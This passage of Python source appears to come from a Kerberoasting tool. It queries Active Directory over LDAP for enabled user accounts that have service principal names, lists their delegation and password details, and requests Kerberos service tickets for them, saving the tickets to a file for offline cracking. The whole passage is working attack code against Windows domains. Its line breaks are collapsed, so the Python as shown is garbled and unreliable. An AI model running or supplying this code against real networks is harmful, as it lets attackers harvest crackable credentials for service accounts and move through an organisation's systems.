def request_multiple_TGSs(self, usernames): # Get a TGT for the current user TGT = self.getTGT() if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None for username in usernames: try: principalName = Principal() principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value principalName.components = [username] tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, self.__kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd) except Exception as e: logging.debug("Exception:", exc_info=True) logging.error('Principal: %s - %s' % (username, str(e))) if fd is not None: fd.close()
def run(self): if self.__usersFile: self.request_users_file_TGSs() return if self.__doKerberos: target = self.getMachineName() else: if self.__kdcHost is not None and self.__targetDomain == self.__domain: target = self.__kdcHost else: target = self.__targetDomain # Connect to LDAP try: ldapConnection = ldap.LDAPConnection('ldap://%s' % target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) except ldap.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) else: raise # Building the search filter searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))" if self.__requestUser is not None: searchFilter += '(sAMAccountName:=%s))' % self.__requestUser else: searchFilter += ')' try: resp = ldapConnection.search(searchFilter=searchFilter, attributes=['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], sizeLimit=100000) except ldap.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: raise answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' delegation = '' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: delegation = 'unconstrained' elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = 'constrained' elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '<never>' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '<never>' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation]) except Exception as e: logging.error('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon", "Delegation"]) print('\n\n') if self.__requestTGS is True or self.__requestUser is not None: # Let's get unique user names and a SPN to request a TGS for users = dict( (vals[1], vals[0]) for vals in answers) # Get a TGT for the current user TGT = self.getTGT() if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None for user, SPN in users.items(): sAMAccountName = user downLevelLogonName = self.__targetDomain + "\\" + sAMAccountName try: principalName = Principal() principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value principalName.components = [downLevelLogonName] tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, self.__kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.__targetDomain + "/" + sAMAccountName, fd) except Exception as e: logging.debug("Exception:", exc_info=True) logging.error('Principal: %s - %s' % (downLevelLogonName, str(e))) if fd is not None: fd.close() else: print("No entries found!")